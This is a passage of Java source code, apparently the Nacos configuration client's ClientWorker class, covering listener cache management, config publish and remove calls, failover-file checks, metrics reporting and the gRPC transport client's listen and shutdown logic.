NacosException If an error occurs while adding the listeners.\n     */\n    public ConfigFuzzyWatchContext addTenantFuzzyWatcher(String dataIdPattern, String groupPattern,\n            FuzzyWatchEventWatcher fuzzyWatchEventWatcher) {\n        return configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(dataIdPattern, groupPattern, fuzzyWatchEventWatcher);\n    }\n    \n    /**\n     * Removes a fuzzy listen listener for the specified data ID pattern, group, and listener.\n     *\n     * @param dataIdPattern The pattern of the data ID.\n     * @param group         The group of the configuration.\n     * @param watcher       The listener to remove.\n     * @throws NacosException If an error occurs while removing the listener.\n     */\n    public void removeFuzzyListenListener(String dataIdPattern, String group, FuzzyWatchEventWatcher watcher) {\n        configFuzzyWatchGroupKeyHolder.removeFuzzyWatcher(dataIdPattern, group, watcher);\n    }\n    \n    void removeCache(String dataId, String group, String tenant) {\n        String groupKey = GroupKey.getKeyTenant(dataId, group, tenant);\n        synchronized (cacheMap) {\n            Map<String, CacheData> copy = new HashMap<>(cacheMap.get());\n            CacheData remove = copy.remove(groupKey);\n            if (remove != null) {\n                decreaseTaskIdCount(remove.getTaskId());\n            }\n            cacheMap.set(copy);\n        }\n        LOGGER.info(\"[{}] [unsubscribe] {}\", agent.getName(), groupKey);\n        \n        if (enableClientMetrics) {\n            try {\n                MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.get().size());\n            } catch (Throwable t) {\n                LOGGER.error(\"Failed to update metrics for listen config count\", t);\n            }\n        }\n    }\n    \n    /**\n     * remove config.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @param tag    tag.\n     * @return success or not.\n     * @throws NacosException exception to throw.\n     */\n    public boolean removeConfig(String dataId, String group, String tenant, String tag) throws NacosException {\n        return agent.removeConfig(dataId, group, tenant, tag);\n    }\n    \n    /**\n     * publish config.\n     *\n     * @param dataId  dataId.\n     * @param group   group.\n     * @param tenant  tenant.\n     * @param appName appName.\n     * @param tag     tag.\n     * @param betaIps betaIps.\n     * @param content content.\n     * @param casMd5  casMd5.\n     * @param type    type.\n     * @return success or not.\n     * @throws NacosException exception throw.\n     */\n    public boolean publishConfig(String dataId, String group, String tenant, String appName, String tag, String betaIps,\n            String content, String encryptedDataKey, String casMd5, String type) throws NacosException {\n        return agent.publishConfig(dataId, group, tenant, appName, tag, betaIps, content, encryptedDataKey, casMd5,\n                type);\n    }\n    \n    /**\n     * Add cache data if absent.\n     *\n     * @param dataId data id if data\n     * @param group  group of data\n     * @return cache data\n     */\n    public CacheData addCacheDataIfAbsent(String dataId, String group) {\n        CacheData cache = getCache(dataId, group);\n        if (null != cache) {\n            return cache;\n        }\n        \n        String key = GroupKey.getKey(dataId, group);\n        cache = new CacheData(configFilterChainManager, agent.getName(), dataId, group);\n        \n        synchronized (cacheMap) {\n            CacheData cacheFromMap = getCache(dataId, group);\n            // multiple listeners on the same dataid+group and race condition,so double check again\n            //other listener thread beat me to set to cacheMap\n            if (null != cacheFromMap) {\n                cache = cacheFromMap;\n                //reset so that server not hang this check\n                cache.setInitializing(true);\n            } else {\n                int taskId = calculateTaskId();\n                increaseTaskIdCount(taskId);\n                cache.setTaskId(taskId);\n            }\n            \n            Map<String, CacheData> copy = new HashMap<>(cacheMap.get());\n            copy.put(key, cache);\n            cacheMap.set(copy);\n        }\n        \n        LOGGER.info(\"[{}] [subscribe] {}\", agent.getName(), key);\n        \n        if (enableClientMetrics) {\n            try {\n                MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.get().size());\n            } catch (Throwable t) {\n                LOGGER.error(\"Failed to update metrics for listen config count\", t);\n            }\n        }\n        \n        return cache;\n    }\n    \n    /**\n     * Add cache data if absent.\n     *\n     * @param dataId data id if data\n     * @param group  group of data\n     * @param tenant tenant of data\n     * @return cache data\n     */\n    public CacheData addCacheDataIfAbsent(String dataId, String group, String tenant) throws NacosException {\n        CacheData cache = getCache(dataId, group, tenant);\n        if (null != cache) {\n            return cache;\n        }\n        String key = GroupKey.getKeyTenant(dataId, group, tenant);\n        synchronized (cacheMap) {\n            CacheData cacheFromMap = getCache(dataId, group, tenant);\n            // multiple listeners on the same dataid+group and race condition,so\n            // double check again\n            // other listener thread beat me to set to cacheMap\n            if (null != cacheFromMap) {\n                cache = cacheFromMap;\n                // reset so that server not hang this check\n                cache.setInitializing(true);\n            } else {\n                cache = new CacheData(configFilterChainManager, agent.getName(), dataId, group, tenant);\n                int taskId = calculateTaskId();\n                increaseTaskIdCount(taskId);\n                cache.setTaskId(taskId);\n                // fix issue # 1317\n                if (enableRemoteSyncConfig) {\n                    ConfigResponse response = getServerConfig(dataId, group, tenant, requestTimeout, false);\n                    cache.setEncryptedDataKey(response.getEncryptedDataKey());\n                    cache.setContent(response.getContent());\n                }\n            }\n            \n            Map<String, CacheData> copy = new HashMap<>(this.cacheMap.get());\n            copy.put(key, cache);\n            cacheMap.set(copy);\n        }\n        LOGGER.info(\"[{}] [subscribe] {}\", agent.getName(), key);\n        \n        if (enableClientMetrics) {\n            try {\n                MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.get().size());\n            } catch (Throwable t) {\n                LOGGER.error(\"Failed to update metrics for listen config count\", t);\n            }\n        }\n        \n        return cache;\n    }\n    \n    /**\n     * Put cache.\n     *\n     * @param key   groupKey\n     * @param cache cache\n     */\n    private void putCache(String key, CacheData cache) {\n        synchronized (cacheMap) {\n            Map<String, CacheData> copy = new HashMap<>(this.cacheMap.get());\n            copy.put(key, cache);\n            cacheMap.set(copy);\n        }\n    }\n    \n    private void increaseTaskIdCount(int taskId) {\n        taskIdCacheCountList.get(taskId).incrementAndGet();\n    }\n    \n    private void decreaseTaskIdCount(int taskId) {\n        taskIdCacheCountList.get(taskId).decrementAndGet();\n    }\n    \n    private int calculateTaskId() {\n        int perTaskSize = (int) ParamUtil.getPerTaskConfigSize();\n        for (int index = 0; index < taskIdCacheCountList.size(); index++) {\n            if (taskIdCacheCountList.get(index).get() < perTaskSize) {\n                return index;\n            }\n        }\n        taskIdCacheCountList.add(new AtomicInteger(0));\n        return taskIdCacheCountList.size() - 1;\n    }\n    \n    public CacheData getCache(String dataId, String group) {\n        return getCache(dataId, group, TenantUtil.getUserTenantForAcm());\n    }\n    \n    public CacheData getCache(String dataId, String group, String tenant) {\n        if (null == dataId || null == group) {\n            throw new IllegalArgumentException();\n        }\n        return cacheMap.get().get(GroupKey.getKeyTenant(dataId, group, tenant));\n    }\n    \n    public ConfigResponse getServerConfig(String dataId, String group, String tenant, long readTimeout, boolean notify)\n            throws NacosException {\n        if (StringUtils.isBlank(group)) {\n            group = Constants.DEFAULT_GROUP;\n        }\n        return agent.queryConfig(dataId, group, tenant, readTimeout, notify);\n    }\n    \n    private String blank2defaultGroup(String group) {\n        return StringUtils.isBlank(group) ? Constants.DEFAULT_GROUP : group.trim();\n    }\n    \n    public ClientWorker(final ConfigFilterChainManager configFilterChainManager,\n            ConfigServerListManager serverListManager, final NacosClientProperties properties) throws NacosException {\n        this.configFilterChainManager = configFilterChainManager;\n        \n        init(properties);\n        \n        agent = new ConfigRpcTransportClient(properties, serverListManager);\n        \n        configFuzzyWatchGroupKeyHolder = new ConfigFuzzyWatchGroupKeyHolder(agent, uuid);\n\n        ThreadPoolExecutor executor = instantiateClientExecutor(properties);\n        agent.setExecutor(executor);\n\n        agent.start();\n        configFuzzyWatchGroupKeyHolder.start();\n    }\n    \n    void initAppLabels(Properties properties) {\n        this.appLabels = ConnLabelsUtils.addPrefixForEachKey(defaultLabelsCollectorManager.getLabels(properties),\n                APP_CONN_PREFIX);\n    }\n\n    private ThreadPoolExecutor instantiateClientExecutor(final NacosClientProperties properties) {\n        int workerThreadCount = initWorkerThreadCount(properties);\n\n        return new ThreadPoolExecutor(workerThreadCount, workerThreadCount * 2,\n                60 * 5, TimeUnit.SECONDS,\n                // when corePoolSize is not enough, task will not wait in queue, because SynchronousQueue 0 capacity\n                // will create new thread to execute task util maximumPoolSize is reached\n                new SynchronousQueue<>(),\n                new NameThreadFactory(\"com.alibaba.nacos.client.executor\"),\n                // CallerRunsPolicy ensures that tasks are not lost\n                new ThreadPoolExecutor.CallerRunsPolicy()\n        );\n    }\n\n    private int initWorkerThreadCount(NacosClientProperties properties) {\n        int count = ThreadUtils.getSuitableThreadCount(THREAD_MULTIPLE);\n        if (properties == null) {\n            return count;\n        }\n        count = Math.min(count, properties.getInteger(PropertyKeyConst.CLIENT_WORKER_MAX_THREAD_COUNT, count));\n        count = Math.max(count, MIN_THREAD_NUM);\n        return properties.getInteger(PropertyKeyConst.CLIENT_WORKER_THREAD_COUNT, count);\n    }\n    \n    private void init(NacosClientProperties properties) {\n        \n        requestTimeout = ConvertUtils.toLong(properties.getProperty(PropertyKeyConst.CONFIG_REQUEST_TIMEOUT, \"-1\"));\n        \n        this.enableRemoteSyncConfig = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.ENABLE_REMOTE_SYNC_CONFIG));\n        this.enableClientMetrics = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\"));\n        initAppLabels(properties.getProperties(SourceType.PROPERTIES));\n    }\n    \n    Map<String, Object> getMetrics(List<ClientConfigMetricRequest.MetricsKey> metricsKeys) {\n        Map<String, Object> metric = new HashMap<>(16);\n        metric.put(\"listenConfigSize\", String.valueOf(this.cacheMap.get().size()));\n        metric.put(\"clientVersion\", VersionUtils.getFullClientVersion());\n        metric.put(\"snapshotDir\", LocalConfigInfoProcessor.LOCAL_SNAPSHOT_PATH);\n        metric.put(\"addressUrl\", agent.serverListManager.getAddressSource());\n        metric.put(\"isFixedServer\", agent.serverListManager.isFixed());\n        metric.put(\"serverUrls\", agent.serverListManager.getUrlString());\n        \n        Map<ClientConfigMetricRequest.MetricsKey, Object> metricValues = getMetricsValue(metricsKeys);\n        metric.put(\"metricValues\", metricValues);\n        Map<String, Object> metrics = new HashMap<>(1);\n        metrics.put(uuid, JacksonUtils.toJson(metric));\n        return metrics;\n    }\n    \n    private Map<ClientConfigMetricRequest.MetricsKey, Object> getMetricsValue(\n            List<ClientConfigMetricRequest.MetricsKey> metricsKeys) {\n        if (metricsKeys == null) {\n            return null;\n        }\n        Map<ClientConfigMetricRequest.MetricsKey, Object> values = new HashMap<>(16);\n        for (ClientConfigMetricRequest.MetricsKey metricsKey : metricsKeys) {\n            if (ClientConfigMetricRequest.MetricsKey.CACHE_DATA.equals(metricsKey.getType())) {\n                CacheData cacheData = cacheMap.get().get(metricsKey.getKey());\n                values.putIfAbsent(metricsKey,\n                        cacheData == null ? null : cacheData.getContent() + \":\" + cacheData.getMd5());\n            }\n            if (ClientConfigMetricRequest.MetricsKey.SNAPSHOT_DATA.equals(metricsKey.getType())) {\n                String[] configStr = GroupKey.parseKey(metricsKey.getKey());\n                String snapshot = LocalConfigInfoProcessor.getSnapshot(agent.getName(), configStr[0], configStr[1],\n                        configStr[2]);\n                values.putIfAbsent(metricsKey,\n                        snapshot == null ? null : snapshot + \":\" + MD5Utils.md5Hex(snapshot, ENCODE));\n            }\n        }\n        return values;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        LOGGER.info(\"{} do shutdown begin\", className);\n        if (configFuzzyWatchGroupKeyHolder != null) {\n            configFuzzyWatchGroupKeyHolder.shutdown();\n            // help gc\n            configFuzzyWatchGroupKeyHolder = null;\n        }\n        if (agent != null) {\n            agent.shutdown();\n        }\n        LOGGER.info(\"{} do shutdown stop\", className);\n    }\n    \n    /**\n     * check if it has any connectable server endpoint.\n     *\n     * @return true: that means has atleast one connected rpc client. flase: that means does not have any connected rpc\n     * client.\n     */\n    public boolean isHealthServer() {\n        return agent.isHealthServer();\n    }\n    \n    public class ConfigRpcTransportClient extends ConfigTransportClient {\n        \n        Map<String, ExecutorService> multiTaskExecutor = new HashMap<>();\n\n        private ExecutorService listenExecutor;\n\n        private final BlockingQueue<Object> listenExecutebell = new ArrayBlockingQueue<>(1);\n        \n        private final Object bellItem = new Object();\n        \n        private long lastAllSyncTime = System.currentTimeMillis();\n        \n        Subscriber subscriber = null;\n        \n        /**\n         * 3 minutes to check all listen cache keys.\n         */\n        private static final long ALL_SYNC_INTERNAL = 3 * 60 * 1000L;\n        \n        public ConfigRpcTransportClient(NacosClientProperties properties, ConfigServerListManager serverListManager) {\n            super(properties, serverListManager);\n        }\n        \n        private ConnectionType getConnectionType() {\n            return ConnectionType.GRPC;\n        }\n        \n        @Override\n        public void shutdown() throws NacosException {\n            super.shutdown();\n            synchronized (RpcClientFactory.getAllClientEntries()) {\n                LOGGER.info(\"Trying to shutdown transport client {}\", this);\n                Set<Map.Entry<String, RpcClient>> allClientEntries = RpcClientFactory.getAllClientEntries();\n                Iterator<Map.Entry<String, RpcClient>> iterator = allClientEntries.iterator();\n                while (iterator.hasNext()) {\n                    Map.Entry<String, RpcClient> entry = iterator.next();\n                    if (entry.getKey().startsWith(uuid)) {\n                        LOGGER.info(\"Trying to shutdown rpc client {}\", entry.getKey());\n                        \n                        try {\n                            entry.getValue().shutdown();\n                        } catch (NacosException nacosException) {\n                            nacosException.printStackTrace();\n                        }\n                        LOGGER.info(\"Remove rpc client {}\", entry.getKey());\n                        iterator.remove();\n                    }\n                }\n                \n                LOGGER.info(\"Shutdown executor {}\", agent.getExecutor());\n                agent.getExecutor().shutdown();\n                Map<String, CacheData> stringCacheDataMap = cacheMap.get();\n                for (Map.Entry<String, CacheData> entry : stringCacheDataMap.entrySet()) {\n                    entry.getValue().setConsistentWithServer(false);\n                }\n                if (subscriber != null) {\n                    NotifyCenter.deregisterSubscriber(subscriber);\n                }\n\n                multiTaskExecutor.values().forEach((executor) -> {\n                    if (executor != null && !executor.isShutdown()) {\n                        LOGGER.info(\"Shutdown multi task executor {}\", executor);\n                        executor.shutdown();\n                    }\n                });\n                if (listenExecutor != null && !listenExecutor.isShutdown()) {\n                    LOGGER.info(\"Shutdown listen config executor {}\", listenExecutor);\n                    listenExecutor.shutdown();\n                }\n            }\n            \n        }\n        \n        private Map<String, String> getLabels() {\n            \n            Map<String, String> labels = new HashMap<>(2, 1);\n            labels.put(RemoteConstants.LABEL_SOURCE, RemoteConstants.LABEL_SOURCE_SDK);\n            labels.put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_CONFIG);\n            labels.put(Constants.APPNAME, AppNameUtils.getAppName());\n            if (EnvUtil.getSelfVipserverTag() != null) {\n                labels.put(Constants.VIPSERVER_TAG, EnvUtil.getSelfVipserverTag());\n            }\n            if (EnvUtil.getSelfAmoryTag() != null) {\n                labels.put(Constants.AMORY_TAG, EnvUtil.getSelfAmoryTag());\n            }\n            if (EnvUtil.getSelfLocationTag() != null) {\n                labels.put(Constants.LOCATION_TAG, EnvUtil.getSelfLocationTag());\n            }\n            \n            labels.putAll(appLabels);\n            return labels;\n        }\n        \n        ConfigChangeNotifyResponse handleConfigChangeNotifyRequest(ConfigChangeNotifyRequest configChangeNotifyRequest,\n                String clientName) {\n            LOGGER.info(\"[{}] [server-push] config changed. dataId={}, group={},tenant={}\", clientName,\n                    configChangeNotifyRequest.getDataId(), configChangeNotifyRequest.getGroup(),\n                    configChangeNotifyRequest.getTenant());\n            String groupKey = GroupKey.getKeyTenant(configChangeNotifyRequest.getDataId(),\n                    configChangeNotifyRequest.getGroup(), configChangeNotifyRequest.getTenant());\n            \n            CacheData cacheData = cacheMap.get().get(groupKey);\n            if (cacheData != null) {\n                synchronized (cacheData) {\n                    cacheData.getReceiveNotifyChanged().set(true);\n                    cacheData.setConsistentWithServer(false);\n                    notifyListenConfig();\n                }\n                \n            }\n            return new ConfigChangeNotifyResponse();\n        }\n        \n        ClientConfigMetricResponse handleClientMetricsRequest(ClientConfigMetricRequest configMetricRequest) {\n            ClientConfigMetricResponse response = new ClientConfigMetricResponse();\n            response.setMetrics(getMetrics(configMetricRequest.getMetricsKeys()));\n            return response;\n        }\n        \n        private void initRpcClientHandler(final RpcClient rpcClientInner) {\n            /*\n             * Register Config Change /Config ReSync Handler\n             */\n            rpcClientInner.registerServerRequestHandler((request, connection) -> {\n                //config change notify\n                if (request instanceof ConfigChangeNotifyRequest) {\n                    return handleConfigChangeNotifyRequest((ConfigChangeNotifyRequest) request,\n                            rpcClientInner.getName());\n                }\n                return null;\n            });\n            \n            rpcClientInner.registerServerRequestHandler((request, connection) -> {\n                if (request instanceof ClientConfigMetricRequest) {\n                    return handleClientMetricsRequest((ClientConfigMetricRequest) request);\n                }\n                return null;\n            });\n            \n            rpcClientInner.registerServerRequestHandler(\n                    new ClientFuzzyWatchNotifyRequestHandler(configFuzzyWatchGroupKeyHolder));\n            \n            rpcClientInner.registerConnectionListener(new ConnectionEventListener() {\n                \n                @Override\n                public void onConnected(Connection connection) {\n                    LOGGER.info(\"[{}] Connected,notify listen context...\", rpcClientInner.getName());\n                    notifyListenConfig();\n                    \n                    LOGGER.info(\"[{}] Connected,notify fuzzy listen context...\", rpcClientInner.getName());\n                    configFuzzyWatchGroupKeyHolder.notifyFuzzyWatchSync();\n                }\n                \n                @Override\n                public void onDisConnect(Connection connection) {\n                    String taskId = rpcClientInner.getLabels().get(\"taskId\");\n                    LOGGER.info(\"[{}] DisConnected,reset listen context\", rpcClientInner.getName());\n                    Collection<CacheData> values = cacheMap.get().values();\n                    \n                    for (CacheData cacheData : values) {\n                        if (StringUtils.isNotBlank(taskId)) {\n                            if (Integer.valueOf(taskId).equals(cacheData.getTaskId())) {\n                                cacheData.setConsistentWithServer(false);\n                            }\n                        } else {\n                            cacheData.setConsistentWithServer(false);\n                        }\n                    }\n                    \n                    LOGGER.info(\"[{}] DisConnected,reset  fuzzy watch consistence status\", rpcClientInner.getName());\n                    configFuzzyWatchGroupKeyHolder.resetConsistenceStatus();\n                }\n                \n            });\n            \n            rpcClientInner.serverListFactory(new ServerListFactory() {\n                @Override\n                public String genNextServer() {\n                    return ConfigRpcTransportClient.super.serverListManager.genNextServer();\n                    \n                }\n                \n                @Override\n                public String getCurrentServer() {\n                    return ConfigRpcTransportClient.super.serverListManager.getCurrentServer();\n                    \n                }\n                \n                @Override\n                public List<String> getServerList() {\n                    return ConfigRpcTransportClient.super.serverListManager.getServerList();\n                    \n                }\n            });\n            \n            subscriber = new Subscriber() {\n                @Override\n                public void onEvent(Event event) {\n                    rpcClientInner.onServerListChange();\n                }\n                \n                @Override\n                public Class<? extends Event> subscribeType() {\n                    return ServerListChangeEvent.class;\n                }\n            };\n            NotifyCenter.registerSubscriber(subscriber);\n        }\n        \n        @Override\n        public void startInternal() {\n            listenExecutor =\n                    Executors.newSingleThreadExecutor(new NameThreadFactory(\"com.alibaba.nacos.client.listen-executor\"));\n            listenExecutor.submit(() -> {\n                while (!listenExecutor.isShutdown() && !listenExecutor.isTerminated()) {\n                    try {\n                        listenExecutebell.poll(5L, TimeUnit.SECONDS);\n                        if (listenExecutor.isShutdown() || listenExecutor.isTerminated()) {\n                            continue;\n                        }\n                        executeConfigListen();\n                    } catch (Throwable e) {\n                        LOGGER.error(\"[rpc listen execute] [rpc listen] exception\", e);\n                        try {\n                            Thread.sleep(50L);\n                        } catch (InterruptedException interruptedException) {\n                            //ignore\n                        }\n                        notifyListenConfig();\n                    }\n                }\n            });\n        }\n        \n        @Override\n        public String getName() {\n            return serverListManager.getName();\n        }\n        \n        @Override\n        public void notifyListenConfig() {\n            listenExecutebell.offer(bellItem);\n        }\n        \n        @Override\n        public void executeConfigListen() throws NacosException {\n            \n            Map<String, List<CacheData>> listenCachesMap = new HashMap<>(16);\n            Map<String, List<CacheData>> removeListenCachesMap = new HashMap<>(16);\n            long now = System.currentTimeMillis();\n            boolean needAllSync = now - lastAllSyncTime >= ALL_SYNC_INTERNAL;\n            for (CacheData cache : cacheMap.get().values()) {\n                \n                synchronized (cache) {\n                    \n                    checkLocalConfig(cache);\n                    \n                    // check local listeners consistent.\n                    if (cache.isConsistentWithServer()) {\n                        cache.checkListenerMd5();\n                        if (!needAllSync) {\n                            continue;\n                        }\n                    }\n                    \n                    // If local configuration information is used, then skip the processing directly.\n                    if (cache.isUseLocalConfigInfo()) {\n                        continue;\n                    }\n                    \n                    if (!cache.isDiscard()) {\n                        List<CacheData> cacheDatas = listenCachesMap.computeIfAbsent(String.valueOf(cache.getTaskId()),\n                                k -> new LinkedList<>());\n                        cacheDatas.add(cache);\n                    } else {\n                        List<CacheData> cacheDatas = removeListenCachesMap.computeIfAbsent(\n                                String.valueOf(cache.getTaskId()), k -> new LinkedList<>());\n                        cacheDatas.add(cache);\n                    }\n                }\n                \n            }\n            \n            //execute check listen ,return true if has change keys.\n            boolean hasChangedKeys = checkListenCache(listenCachesMap);\n            \n            //execute check remove listen.\n            checkRemoveListenCache(removeListenCachesMap);\n            \n            if (needAllSync) {\n                lastAllSyncTime = now;\n            }\n            //If has changed keys,notify re sync md5.\n            if (hasChangedKeys) {\n                notifyListenConfig();\n            }\n            \n        }\n        \n        /**\n         * Checks and handles local configuration for a given CacheData object. This method evaluates the use of\n         * failover files for local configuration storage and updates the CacheData accordingly.\n         *\n         * @param cacheData The CacheData object to be processed.\n         */\n        public void checkLocalConfig(CacheData cacheData) {\n            final String dataId = cacheData.dataId;\n            final String group = cacheData.group;\n            final String tenant = cacheData.tenant;\n            final String envName = cacheData.envName;\n            \n            // Check if a failover file exists for the specified dataId, group, and tenant.\n            File file = LocalConfigInfoProcessor.getFailoverFile(envName, dataId, group, tenant);\n            \n            // If not using local config info and a failover file exists, load and use it.\n            if (!cacheData.isUseLocalConfigInfo() && file.exists()) {\n                String content = LocalConfigInfoProcessor.getFailover(envName, dataId, group, tenant);\n                final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE);\n                cacheData.setUseLocalConfigInfo(true);\n                cacheData.setLocalConfigInfoVersion(file.lastModified());\n                cacheData.setContent(content);\n                LOGGER.warn(\"[{}] [failover-change] failover file created. dataId={}, group={}, tenant={}, md5={}\",\n                        envName, dataId, group, tenant, md5);\n                return;\n            }\n            \n            // If use local config info, but the failover file is deleted, switch back to server config.\n            if (cacheData.isUseLocalConfigInfo() && !file.exists()) {\n                cacheData.setUseLocalConfigInfo(false);\n                LOGGER.warn(\"[{}] [failover-change] failover file deleted. dataId={}, group={}, tenant={}\", envName,\n                        dataId, group, tenant);\n                return;\n            }\n            \n            // When the failover file content changes, indicating a change in local configuration.\n            if (cacheData.isUseLocalConfigInfo() && file.exists()\n                    && cacheData.getLocalConfigInfoVersion() != file.lastModified()) {\n                String content = LocalConfigInfoProcessor.getFailover(envName, dataId, group, tenant);\n                final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE);\n                cacheData.setUseLocalConfigInfo(true);\n                cacheData.setLocalConfigInfoVersion(file.lastModified());\n                cacheData.setContent(content);\n                LOGGER.warn(\"[{}] [failover-change] failover file changed. dataId={}, group={}, tenant={}, md5={}\",\n                        envName, dataId, group, tenant, md5);\n            }\n        }\n        \n        private ExecutorService ensureSyncExecutor(String taskId) {\n            if (!multiTaskExecutor.containsKey(taskId)) {\n                multiTaskExecutor.put(taskId,\n                        new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>(), r -> {\n                            Thread thread = new Thread(r, \"nacos.client.config.listener.task-\" + taskId);\n                            thread.setDaemon(true);\n                            return thread;\n                        }));\n            }\n            return multiTaskExecutor.get(taskId);\n        }\n        \n        private void refreshContentAndCheck(RpcClient rpcClient, String groupKey, boolean notify) {\n            if (cacheMap.get() != null && cacheMap.get().containsKey(groupKey)) {\n                CacheData cache = cacheMap.get().get(groupKey);\n                refreshContentAndCheck(rpcClient, cache, notify);\n            }\n        }\n        \n        private void refreshContentAndCheck(RpcClient rpcClient, CacheData cacheData, boolean notify) {\n            try {\n                \n                ConfigResponse response = this.queryConfigInner(rpcClient, cacheData.dataId, cacheData.group,\n                        cacheData.tenant, requestTimeout, notify);\n                cacheData.setEncryptedDataKey(response.getEncryptedDataKey());\n                cacheData.setContent(response.getContent());\n                if (null != response.getConfigType()) {\n                    cacheData.setType(response.getConfigType());\n                }\n                if (notify) {\n                    LOGGER.info(\"[{}] [data-received] dataId={}, group={}, tenant={}, md5={}, type={}\", agent.getName(),\n                            cacheData.dataId, cacheData.group, cacheData.tenant, cacheData.getMd5(),\n                            response.getConfigType());\n                }\n                cacheData.checkListenerMd5();\n            } catch (Exception e) {\n                LOGGER.error(\"refresh content and check md5 fail ,dataId={},group={},tenant={} \", cacheData.dataId,\n                        cacheData.group, cacheData.tenant, e);\n            }\n        }\n        \n        private void checkRemoveListenCache(Map<String, List<CacheData>> removeListenCachesMap) throws NacosException {\n            if (!removeListenCachesMap.isEmpty()) {\n                List<Future> listenFutures = new ArrayList<>();\n                \n                for (Map.Entry<String, List<CacheData>> entry : removeListenCachesMap.entrySet()) {\n                    String taskId = entry.getKey();\n                    RpcClient rpcClient = ensureRpcClient(taskId);\n                    \n                    ExecutorService executorService = ensureSyncExecutor(taskId);\n                    Future future = executorService.submit(() -> {\n                        List<CacheData> removeListenCaches = entry.getValue();\n                        ConfigBatchListenRequest configChangeListenRequest = buildConfigRequest(removeListenCaches);\n                        configChangeListenRequest.setListen(false);\n                        try {\n                            boolean removeSuccess = unListenConfigChange(rpcClient, configChangeListenRequest);\n                            if (removeSuccess) {\n                                for (CacheData cacheData : removeListenCaches) {\n                                    synchronized (cacheData) {\n                                        if (cacheData.isDiscard() && cacheData.getListeners().isEmpty()) {\n                                            ClientWorker.this.removeCache(cacheData.dataId, cacheData.group,\n                                                    cacheData.tenant);\n                                        }\n                                    }\n                                }\n                            }\n                            \n                        } catch (Throwable e) {\n                            LOGGER.error(\"Async remove listen config change error \", e);\n                            try {\n                                Thread.sleep(50L);\n                            } catch (InterruptedException interruptedException) {\n                                //ignore\n                            }\n                            notifyListenConfig();\n                        }\n                    });\n                    listenFutures.add(future);\n                    \n                }\n                for (Future future : listenFutures) {\n                    try {\n                        future.get();\n                    } catch (Throwable throwable) {\n                        LOGGER.error(\"Async remove listen config change error \", throwable);\n                    }\n                }\n            }\n        }\n        \n        private boolean checkListenCache(Map<String, List<CacheData>> listenCachesMap) throws NacosException {\n            \n            final AtomicBoolean hasChangedKeys = new AtomicBoolean(false);\n            if (!listenCachesMap.isEmpty()) {\n                List<Future> listenFutures = new ArrayList<>();\n                for (Map.Entry<String, List<CacheData>> entry : listenCachesMap.entrySet()) {\n                    String taskId = entry.getKey();\n                    RpcClient rpcClient = ensureRpcClient(taskId);\n                    \n                    ExecutorService executorService = ensureSyncExecutor(taskId);\n                    Future future = executorService.submit(() -> {\n                        List<CacheData> listenCaches = entry.getValue();\n                        //reset notify change flag.\n                        for (CacheData cacheData : listenCaches) {\n                            cacheData.getReceiveNotifyChanged().set(false);\n                        }\n                        ConfigBatchListenRequest configChangeListenRequest = buildConfigRequest(listenCaches);\n                        configChangeListenRequest.setListen(true);\n                        try {\n                            ConfigChangeBatchListenResponse listenResponse = (ConfigChangeBatchListenResponse) requestProxy(\n                                    rpcClient, configChangeListenRequest);\n                            if (listenResponse != null && listenResponse.isSuccess()) {\n                                \n                                Set<String> changeKeys = new HashSet<String>();\n                                \n                                List<ConfigChangeBatchListenResponse.ConfigContext> changedConfigs = listenResponse.getChangedConfigs();\n                                //handle changed keys,notify listener\n                                if (!CollectionUtils.isEmpty(changedConfigs)) {\n                                    hasChangedKeys.set(true);\n                                    for (ConfigChangeBatchListenResponse.ConfigContext changeConfig : changedConfigs) {\n                                        String changeKey = GroupKey.getKeyTenant(changeConfig.getDataId(),\n                                                changeConfig.getGroup(), changeConfig.getTenant());\n                                        changeKeys.add(changeKey);\n                                        boolean isInitializing = cacheMap.get().get(changeKey).isInitializing();\n                                        refreshContentAndCheck(rpcClient, changeKey, !isInitializing);\n                                    }\n                                    \n                                }\n                                \n                                for (CacheData cacheData : listenCaches) {\n                                    if (cacheData.getReceiveNotifyChanged().get()) {\n                                        String changeKey = GroupKey.getKeyTenant(cacheData.dataId, cacheData.group,\n                                                cacheData.getTenant());\n                                        if (!changeKeys.contains(changeKey)) {\n                                            boolean isInitializing = cacheMap.get().get(changeKey).isInitializing();\n                                            refreshContentAndCheck(rpcClient, changeKey, !isInitializing);\n                                        }\n                                    }\n                                }\n                                \n                                //handler content configs\n                                for (CacheData cacheData : listenCaches) {\n                                    cacheData.setInitializing(false);\n                                    String groupKey = GroupKey.getKeyTenant(cacheData.dataId, cacheData.group,\n                                            cacheData.getTenant());\n                                    if (!changeKeys.contains(groupKey)) {\n                                        synchronized (cacheData) {\n                                            if (!cacheData.getReceiveNotifyChanged().get()) {\n                                                cacheData.setConsistentWithServer(true);\n                                            }\n                                        }\n                                    }\n                                }\n                                \n                            }\n                        } catch (Throwable e) {\n                            LOGGER.error(\"Execute listen config change error \", e);\n                            try {\n                                Thread.sleep(50L);\n                            } catch (InterruptedException interruptedException) {\n                                //ignore\n                            }\n                            notifyListenConfig();\n                        }\n                    });\n                    listenFutures.add(future);\n                    \n                }\n                for (Future future : listenFutures) {\n                    try {\n                        future.get();\n                    } catch (Throwable throwable) {\n                        LOGGER.error(\"Async listen config change error \", throwable);\n                    }\n                }\n                \n            }\n            return hasChangedKeys.get();\n        }\n        \n        RpcClient ensureRpcClient(String taskId) throws NacosException {\n            synchronized (ClientWorker.this) {\n                Map<String, String> labels = getLabels();\n                Map<String, String> newLabels = new HashMap<>(labels);\n                newLabels.put(\"taskId\", taskId);\n                GrpcClientConfig grpcClientConfig = RpcClientConfigFactory.getInstance()\n                        .createGrpcClientConfig(properties, newLabels);\n                RpcClient rpcClient = RpcClientFactory.createClient(uuid + \"_config-\" + taskId, getConnectionType(),\n                        grpcClientConfig);\n                if (rpcClient.isWaitInitiated()) {\n                    